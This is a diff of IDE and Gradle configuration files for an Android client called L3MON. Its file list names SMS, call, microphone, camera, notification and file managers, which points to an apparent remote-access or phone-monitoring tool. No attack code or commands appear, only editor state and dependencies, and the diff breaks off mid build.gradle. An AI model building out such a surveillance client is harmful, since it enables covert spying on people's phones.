<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainActivity.java" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
|
||||
<option value="$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
|
||||
<option value="$PROJECT_DIR$/app/build.gradle" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" />
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="ProjectFrameBounds" extendedState="7">
|
||||
<option name="x" value="490" />
|
||||
<option name="y" value="-10" />
|
||||
<option name="width" value="790" />
|
||||
<option name="height" value="1000" />
|
||||
</component>
|
||||
<component name="ProjectLevelVcsManager" settingsEditedManually="true" />
|
||||
<component name="ProjectView">
|
||||
<navigator proportions="" version="1">
|
||||
<foldersAlwaysOnTop value="true" />
|
||||
</navigator>
|
||||
<panes>
|
||||
<pane id="Scope" />
|
||||
<pane id="PackagesPane" />
|
||||
<pane id="AndroidView">
|
||||
<subPane>
|
||||
<expand>
|
||||
<path>
|
||||
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||
<item name="app" type="feadf853:AndroidModuleNode" />
|
||||
</path>
|
||||
<path>
|
||||
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||
<item name="Gradle Scripts" type="ae0cef3a:AndroidBuildScriptsGroupNode" />
|
||||
</path>
|
||||
</expand>
|
||||
<select />
|
||||
</subPane>
|
||||
</pane>
|
||||
<pane id="ProjectPane" />
|
||||
</panes>
|
||||
</component>
|
||||
<component name="PropertiesComponent">
|
||||
<property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\Private\L3MON\client\app" />
|
||||
<property name="ExportApk.BuildVariants" value="release" />
|
||||
<property name="ExportApk.SignV1" value="true" />
|
||||
<property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
|
||||
<property name="android.sdk.path" value="$USER_HOME$/AppData/Local/Android/Sdk" />
|
||||
<property name="device.picker.selection" value="8fad6827" />
|
||||
<property name="last_opened_file_path" value="$PROJECT_DIR$/../xwizer.jks" />
|
||||
<property name="project.structure.last.edited" value="Dependencies" />
|
||||
<property name="project.structure.proportion" value="0.17" />
|
||||
<property name="project.structure.side.proportion" value="0.2" />
|
||||
</component>
|
||||
<component name="PsdUISettings">
|
||||
<option name="LAST_EDITED_BUILD_TYPE" value="release" />
|
||||
</component>
|
||||
<component name="RunDashboard">
|
||||
<option name="ruleStates">
|
||||
<list>
|
||||
<RuleState>
|
||||
<option name="name" value="ConfigurationTypeDashboardGroupingRule" />
|
||||
</RuleState>
|
||||
<RuleState>
|
||||
<option name="name" value="StatusDashboardGroupingRule" />
|
||||
</RuleState>
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="RunManager">
|
||||
<configuration default="true" type="AndroidJUnit" factoryName="Android JUnit">
|
||||
<option name="TEST_OBJECT" value="class" />
|
||||
<option name="WORKING_DIRECTORY" value="$MODULE_DIR$" />
|
||||
<method v="2">
|
||||
<option name="Android.Gradle.BeforeRunTask" enabled="true" />
|
||||
</method>
|
||||
</configuration>
|
||||
<configuration name="app" type="AndroidRunConfigurationType" factoryName="Android App" activateToolWindowBeforeRun="false">
|
||||
<module name="app" />
|
||||
<option name="DEPLOY" value="true" />
|
||||
<option name="DEPLOY_APK_FROM_BUNDLE" value="false" />
|
||||
<option name="DEPLOY_AS_INSTANT" value="false" />
|
||||
<option name="ARTIFACT_NAME" value="" />
|
||||
<option name="PM_INSTALL_OPTIONS" value="" />
|
||||
<option name="DYNAMIC_FEATURES_DISABLED_LIST" value="" />
|
||||
<option name="ACTIVITY_EXTRA_FLAGS" value="" />
|
||||
<option name="MODE" value="default_activity" />
|
||||
<option name="CLEAR_LOGCAT" value="false" />
|
||||
<option name="SHOW_LOGCAT_AUTOMATICALLY" value="false" />
|
||||
<option name="SKIP_NOOP_APK_INSTALLATIONS" value="true" />
|
||||
<option name="FORCE_STOP_RUNNING_APP" value="true" />
|
||||
<option name="TARGET_SELECTION_MODE" value="SHOW_DIALOG" />
|
||||
<option name="USE_LAST_SELECTED_DEVICE" value="false" />
|
||||
<option name="PREFERRED_AVD" value="" />
|
||||
<option name="SELECTED_CLOUD_MATRIX_CONFIGURATION_ID" value="-1" />
|
||||
<option name="SELECTED_CLOUD_MATRIX_PROJECT_ID" value="" />
|
||||
<option name="DEBUGGER_TYPE" value="Auto" />
|
||||
<Auto>
|
||||
<option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
|
||||
<option name="SHOW_STATIC_VARS" value="true" />
|
||||
<option name="WORKING_DIR" value="" />
|
||||
<option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
|
||||
<option name="SHOW_OPTIMIZED_WARNING" value="true" />
|
||||
</Auto>
|
||||
<Hybrid>
|
||||
<option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
|
||||
<option name="SHOW_STATIC_VARS" value="true" />
|
||||
<option name="WORKING_DIR" value="" />
|
||||
<option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
|
||||
<option name="SHOW_OPTIMIZED_WARNING" value="true" />
|
||||
</Hybrid>
|
||||
<Java />
|
||||
<Native>
|
||||
<option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
|
||||
<option name="SHOW_STATIC_VARS" value="true" />
|
||||
<option name="WORKING_DIR" value="" />
|
||||
<option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
|
||||
<option name="SHOW_OPTIMIZED_WARNING" value="true" />
|
||||
</Native>
|
||||
<Profilers>
|
||||
<option name="ADVANCED_PROFILING_ENABLED" value="false" />
|
||||
<option name="STARTUP_CPU_PROFILING_ENABLED" value="false" />
|
||||
<option name="STARTUP_CPU_PROFILING_CONFIGURATION_NAME" value="Sample Java Methods" />
|
||||
</Profilers>
|
||||
<option name="DEEP_LINK" value="" />
|
||||
<option name="ACTIVITY_CLASS" value="" />
|
||||
<method v="2">
|
||||
<option name="Android.Gradle.BeforeRunTask" enabled="true" />
|
||||
</method>
|
||||
</configuration>
|
||||
</component>
|
||||
<component name="SvnConfiguration">
|
||||
<configuration />
|
||||
</component>
|
||||
<component name="TaskManager">
|
||||
<task active="true" id="Default" summary="Default task">
|
||||
<changelist id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="" />
|
||||
<created>1566593319597</created>
|
||||
<option name="number" value="Default" />
|
||||
<option name="presentableId" value="Default" />
|
||||
<updated>1566593319597</updated>
|
||||
</task>
|
||||
<servers />
|
||||
</component>
|
||||
<component name="TodoView">
|
||||
<todo-panel id="selected-file">
|
||||
<is-autoscroll-to-source value="true" />
|
||||
</todo-panel>
|
||||
<todo-panel id="all">
|
||||
<are-packages-shown value="true" />
|
||||
<is-autoscroll-to-source value="true" />
|
||||
</todo-panel>
|
||||
</component>
|
||||
<component name="ToolWindowManager">
|
||||
<frame x="-7" y="-7" width="1550" height="838" extended-state="6" />
|
||||
<editor active="true" />
|
||||
<layout>
|
||||
<window_info id="Captures" order="0" side_tool="true" weight="0.25" />
|
||||
<window_info active="true" content_ui="combo" id="Project" order="1" sideWeight="0.49807692" visible="true" weight="0.13154362" />
|
||||
<window_info id="Structure" order="2" side_tool="true" />
|
||||
<window_info id="Favorites" order="3" side_tool="true" />
|
||||
<window_info id="Build Variants" order="4" sideWeight="0.5019231" side_tool="true" weight="0.13154362" />
|
||||
<window_info id="Image Layers" order="5" />
|
||||
<window_info id="Designer" order="6" />
|
||||
<window_info id="Resources Explorer" order="7" />
|
||||
<window_info id="Capture Tool" order="8" />
|
||||
<window_info anchor="bottom" id="Run" order="0" sideWeight="0.4968017" weight="0.32827735" />
|
||||
<window_info anchor="bottom" id="Logcat" order="1" sideWeight="0.49840087" weight="0.21235102" />
|
||||
<window_info anchor="bottom" id="TODO" order="2" sideWeight="0.4989339" weight="0.32936078" />
|
||||
<window_info anchor="bottom" id="Debug" order="3" />
|
||||
<window_info anchor="bottom" id="Terminal" order="4" sideWeight="0.4989339" weight="0.32936078" />
|
||||
<window_info anchor="bottom" id="Event Log" order="5" sideWeight="0.50319827" side_tool="true" weight="0.26435536" />
|
||||
<window_info anchor="bottom" id="Version Control" order="6" />
|
||||
<window_info anchor="bottom" id="Build" order="7" sideWeight="0.4968017" visible="true" weight="0.26203966" />
|
||||
<window_info anchor="bottom" id="Android Profiler" order="8" show_stripe_button="false" weight="0.32936078" />
|
||||
<window_info anchor="bottom" id="Find" order="9" weight="0.3286119" />
|
||||
<window_info anchor="right" id="Device File Explorer" order="0" side_tool="true" />
|
||||
<window_info anchor="right" id="Capture Analysis" order="1" />
|
||||
<window_info anchor="right" id="Gradle" order="2" />
|
||||
<window_info anchor="right" id="Theme Preview" order="3" />
|
||||
<window_info anchor="right" id="Preview" order="4" weight="0.15618336" />
|
||||
<window_info anchor="right" id="Palette	" order="5" />
|
||||
</layout>
|
||||
</component>
|
||||
<component name="XDebuggerManager">
|
||||
<breakpoint-manager>
|
||||
<breakpoints>
|
||||
<line-breakpoint enabled="true" type="java-line">
|
||||
<url>file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java</url>
|
||||
<line>26</line>
|
||||
<properties />
|
||||
<option name="timeStamp" value="2" />
|
||||
</line-breakpoint>
|
||||
</breakpoints>
|
||||
</breakpoint-manager>
|
||||
</component>
|
||||
<component name="editorHistoryManager">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/styles.xml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/colors.xml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/dimens.xml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java" />
|
||||
<entry file="file://$PROJECT_DIR$/.idea/workspace.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="163">
|
||||
<caret line="321" column="41" selection-start-line="321" selection-start-column="41" selection-end-line="321" selection-end-column="41" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/L3MON.iml" />
|
||||
<entry file="file://$PROJECT_DIR$/L3MON-Client.iml" />
|
||||
<entry file="file://$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="212">
|
||||
<caret line="14" column="33" selection-start-line="14" selection-start-column="33" selection-end-line="14" selection-end-column="33" />
|
||||
</state>
|
||||
</provider>
|
||||
<provider editor-type-id="android-designer2" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/client - Copy.iml" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/strings.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="51">
|
||||
<caret line="3" selection-end-line="3" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/.gradle/vcs-1/gc.properties">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/.gradle/buildOutputCleanup/cache.properties">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/client.iml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/settings.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/gradle.properties">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/gradlew">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/gradlew.bat">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/local.properties">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="119">
|
||||
<caret line="7" column="8" selection-start-line="7" selection-start-column="8" selection-end-line="7" selection-end-column="54" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ConnectionManager.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ServiceReciever.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/SMSManager.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MicManager.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/app.iml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/NotificationListener.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/PermissionManager.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainActivity.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="34">
|
||||
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="-187">
|
||||
<caret line="10" column="13" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/WifiScanner.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="-221">
|
||||
<caret line="2" column="7" selection-start-line="2" selection-start-column="7" selection-end-line="2" selection-end-column="7" />
|
||||
<folding>
|
||||
<element signature="imports" expanded="true" />
|
||||
</folding>
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="jar://$USER_HOME$/AppData/Local/Android/Sdk/platforms/android-24/android.jar!/android/provider/Settings.class">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="165">
|
||||
<caret line="49" column="31" selection-start-line="49" selection-start-column="31" selection-end-line="49" selection-end-column="31" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="493">
|
||||
<caret line="40" column="64" selection-start-line="40" selection-start-column="64" selection-end-line="40" selection-end-column="64" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CameraManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="12" column="13" selection-start-line="12" selection-start-column="13" selection-end-line="12" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="8" column="15" selection-start-line="8" selection-start-column="13" selection-end-line="8" selection-end-column="21" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/FileManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="85">
|
||||
<caret line="15" column="19" lean-forward="true" selection-start-line="15" selection-start-column="19" selection-end-line="15" selection-end-column="19" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ConnectionManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="11" column="23" lean-forward="true" selection-start-line="11" selection-start-column="13" selection-end-line="11" selection-end-column="30" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="884">
|
||||
<caret line="62" column="8" selection-start-line="62" selection-start-column="8" selection-end-line="62" selection-end-column="8" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/remote/app/BuildConfig.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="85">
|
||||
<caret line="7" column="29" selection-start-line="7" selection-start-column="29" selection-end-line="7" selection-end-column="29" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="414">
|
||||
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
|
||||
</state>
|
||||
</provider>
|
||||
<provider editor-type-id="android-manifest" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="34">
|
||||
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="204">
|
||||
<caret line="20" column="39" selection-start-line="20" selection-start-column="39" selection-end-line="20" selection-end-column="39" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="289">
|
||||
<caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</component>
|
||||
</project>
|
17
client/.project
Normal file
17
client/.project
Normal file
@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>client</name>
|
||||
<comment>Project client created by Buildship.</comment>
|
||||
<projects>
|
||||
</projects>
|
||||
<buildSpec>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.buildship.core.gradleprojectbuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
</buildSpec>
|
||||
<natures>
|
||||
<nature>org.eclipse.buildship.core.gradleprojectnature</nature>
|
||||
</natures>
|
||||
</projectDescription>
|
2
client/.settings/org.eclipse.buildship.core.prefs
Normal file
2
client/.settings/org.eclipse.buildship.core.prefs
Normal file
@ -0,0 +1,2 @@
|
||||
connection.project.dir=
|
||||
eclipse.preferences.version=1
|
1
client/app/.gitignore
vendored
Normal file
1
client/app/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
/build
|
97
client/app/app.iml
Normal file
97
client/app/app.iml
Normal file
@ -0,0 +1,97 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module external.linked.project.id=":app" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$/.." external.system.id="GRADLE" type="JAVA_MODULE" version="4">
|
||||
<component name="FacetManager">
|
||||
<facet type="android-gradle" name="Android-Gradle">
|
||||
<configuration>
|
||||
<option name="GRADLE_PROJECT_PATH" value=":app" />
|
||||
<option name="LAST_SUCCESSFUL_SYNC_AGP_VERSION" value="3.4.2" />
|
||||
<option name="LAST_KNOWN_AGP_VERSION" value="3.4.2" />
|
||||
</configuration>
|
||||
</facet>
|
||||
<facet type="android" name="Android">
|
||||
<configuration>
|
||||
<option name="SELECTED_BUILD_VARIANT" value="debug" />
|
||||
<option name="ASSEMBLE_TASK_NAME" value="assembleDebug" />
|
||||
<option name="COMPILE_JAVA_TASK_NAME" value="compileDebugSources" />
|
||||
<afterSyncTasks>
|
||||
<task>generateDebugSources</task>
|
||||
</afterSyncTasks>
|
||||
<option name="ALLOW_USER_CONFIGURATION" value="false" />
|
||||
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
|
||||
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
|
||||
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
|
||||
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
|
||||
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
|
||||
</configuration>
|
||||
</facet>
|
||||
</component>
|
||||
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7">
|
||||
<output url="file://$MODULE_DIR$/build/intermediates/javac/debug/compileDebugJavaWithJavac/classes" />
|
||||
<output-test url="file://$MODULE_DIR$/build/intermediates/javac/debugUnitTest/compileDebugUnitTestJavaWithJavac/classes" />
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/debug" isTestSource="false" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/aidl_source_output_dir/debug/compileDebugAidl/out" isTestSource="false" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/buildConfig/debug" isTestSource="false" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/renderscript_source_output_dir/debug/compileDebugRenderscript/out" isTestSource="false" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/rs/debug" type="java-resource" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/resValues/debug" type="java-resource" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/androidTest/debug" isTestSource="true" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/aidl_source_output_dir/debugAndroidTest/compileDebugAndroidTestAidl/out" isTestSource="true" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/buildConfig/androidTest/debug" isTestSource="true" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/renderscript_source_output_dir/debugAndroidTest/compileDebugAndroidTestRenderscript/out" isTestSource="true" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/rs/androidTest/debug" type="java-test-resource" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/res/resValues/androidTest/debug" type="java-test-resource" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/apt/test/debug" isTestSource="true" generated="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/res" type="java-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/resources" type="java-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/assets" type="java-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/aidl" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/java" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/rs" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/debug/shaders" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/res" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/resources" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/assets" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/aidl" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/java" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/rs" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTestDebug/shaders" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/res" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/resources" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/assets" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/aidl" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/java" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/rs" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/shaders" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/res" type="java-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/assets" type="java-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/aidl" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/rs" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/main/shaders" isTestSource="false" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/res" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/resources" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/assets" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/aidl" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/java" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/rs" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/shaders" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/res" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/resources" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/assets" type="java-test-resource" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/aidl" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/rs" isTestSource="true" />
|
||||
<sourceFolder url="file://$MODULE_DIR$/src/test/shaders" isTestSource="true" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/build" />
|
||||
</content>
|
||||
<orderEntry type="jdk" jdkName="Android API 24 Platform" jdkType="Android SDK" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="library" name="Gradle: io.socket:socket.io-client:0.8.3@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: io.socket:engine.io-client:0.8.3@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.squareup.okio:okio:1.11.0@jar" level="project" />
|
||||
</component>
|
||||
</module>
|
30
client/app/build.gradle
Normal file
30
client/app/build.gradle
Normal file
@ -0,0 +1,30 @@
|
||||
apply plugin: 'com.android.application'
|
||||
|
||||
android {
|
||||
lintOptions {
|
||||
checkReleaseBuilds false
|
||||
}
|
||||
compileSdkVersion 24
|
||||
buildToolsVersion '28.0.3'
|
||||
defaultConfig {
|
||||
applicationId 'com.remote.app'
|
||||
minSdkVersion 11
|
||||
